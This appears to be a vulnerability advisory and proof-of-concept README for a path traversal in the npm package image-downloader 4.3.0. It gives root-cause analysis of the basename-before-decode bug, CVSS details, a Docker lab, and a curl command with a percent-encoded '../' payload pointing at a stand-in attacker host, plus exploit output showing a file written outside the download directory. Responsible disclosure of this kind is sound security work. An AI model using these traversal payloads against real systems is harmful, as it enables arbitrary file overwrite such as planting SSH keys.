
Advisory and PoC for CVE-2026-103648, a path traversal (CWE-22) in image-downloader 4.3.0 enabling arbitrary file write, with root-cause analysis, patch diff, and Docker lab.
image-downloader
Discovered by: Amirhossein Roustaei (@EterNullSec) — Eternull Security
⚠️ Educational Purposes Only. This repository documents a responsibly disclosed vulnerability. All PoC code is intended for authorized security research and testing in isolated lab environments only. Do not use against systems you do not own or have explicit written permission to test.
| Field | Details |
|---|---|
| CVE ID | CVE-2026-103648 |
| NVD Entry | nvd.nist.gov/vuln/detail/CVE-2026-103648 |
| CVSS v3.1 Score | 9.1 Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-22: Improper Limitation of a Pathname to a Restricted Directory |
| Package | image-downloader (npm) by demsking |
| Weekly npm downloads | ~11,000 (~38,000/month) — source |
| Affected Versions | < 4.3.1 (all versions including 4.3.0) |
| Fixed Version | 4.3.1 |
| Assigned By | GitLab |
| Published | 2026-10-02 |
| Reporter | Amirhossein Roustaei (@EterNullSec), Eternull Security |
The vulnerability is in [email protected]'s filename-extraction logic. This is the actual source of the affected version (index.js, pulled directly from the published npm package):
// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
if (!options.url) {
return Promise.reject(new Error('The options.url is required'));
}
if (!options.dest) {
return Promise.reject(new Error('The options.dest is required'));
}
if (extractFilename) {
if (!path.extname(options.dest)) {
const url = new URL(options.url);
const pathname = url.pathname;
const basename = path.basename(pathname); // ❌ basename BEFORE decode
const decodedBasename = decodeURIComponent(basename); // decode happens AFTER
options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
}
}
// ...
return request(options);
};
path.basename(pathname) is called on the still percent-encoded URL pathname. A sequence like %2e%2e%2fpwned.sh contains no literal /, so path.basename() treats the whole thing as a single filename and returns it unchanged — nothing gets stripped.decodeURIComponent(). This is the step that turns %2e%2e%2f back into a literal ../ — but by now it has already survived the basename step that was supposed to sanitize it.path.join(options.dest, decodedBasename) is called with a string that now contains a real ../ segment. path.join() normalizes .. the same way cd .. would — so the final write path resolves to a location outside options.dest.In short: the code decodes the filename in the right way, just in the wrong order relative to path.basename(). Decode-then-basename is safe; basename-then-decode is not.
URL pathname: /%2e%2e%2fpwned.sh
basename(): "%2e%2e%2fpwned.sh" (unchanged — no literal '/')
decode: "../pwned.sh" (traversal now literal)
path.join(dest, "../pwned.sh")
→ resolves one directory ABOVE dest
Attack Vector: Network (AV:N) — remotely triggerable
Attack Complexity: Low (AC:L) — no special conditions
Privileges Required: None (PR:N) — no authentication needed
User Interaction: None (UI:N) — fully automated
Scope: Unchanged (S:U)
Confidentiality: None (C:N)
Integrity: High (I:H) — arbitrary file write
Availability: High (A:H) — overwrite critical files / DoS
This lab demonstrates the mechanism of the bug end-to-end in a single script for ease of reproduction, but it's worth stating the real-world attack model explicitly:
image-downloader's download.image({ url, dest }) with a url value it did not fully control itself — e.g. a URL submitted by a user (avatar/image import features), pulled from a webhook payload, or read from an RSS/content feed.url points at, and controls the path component of that URL — which is enough on its own, since the traversal lives in the URL path (%2e%2e%2f...), not in the response body.authorized_keys file, or an executable the app later runs).In exploit/exploit.py, the attacker and victim roles are collapsed into one script for lab convenience (it stands up both the "victim" server request and the attacker-controlled payload server). In a real exploitation scenario these are two separate, unrelated parties — the PoC is structured this way purely so the vulnerability is reproducible with a single command.
git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build
The vulnerable server will be available at http://localhost:3000.
cd vulnerable-app/
npm install
node server.js
cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/
python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
Or manually with curl (the traversal is in the URL path, not the response body):
curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"
# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt
$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
[*] CVE-2026-103648 — image-downloader Path Traversal PoC
[*] Target : http://localhost:3000
[*] Payload URL : http://127.0.0.1:8888/%2e%2e%2f%2e%2e%2ftmp%2fpwned_by_eternullsec.txt
[*] Serving payload file on port 8888...
[+] Request received by exploit HTTP server
[+] Exploit delivered. Verifying write...
[+] SUCCESS! File written to: /tmp/pwned_by_eternullsec.txt
[+] File contents: CVE-2026-103648 | Path Traversal | EterNullSec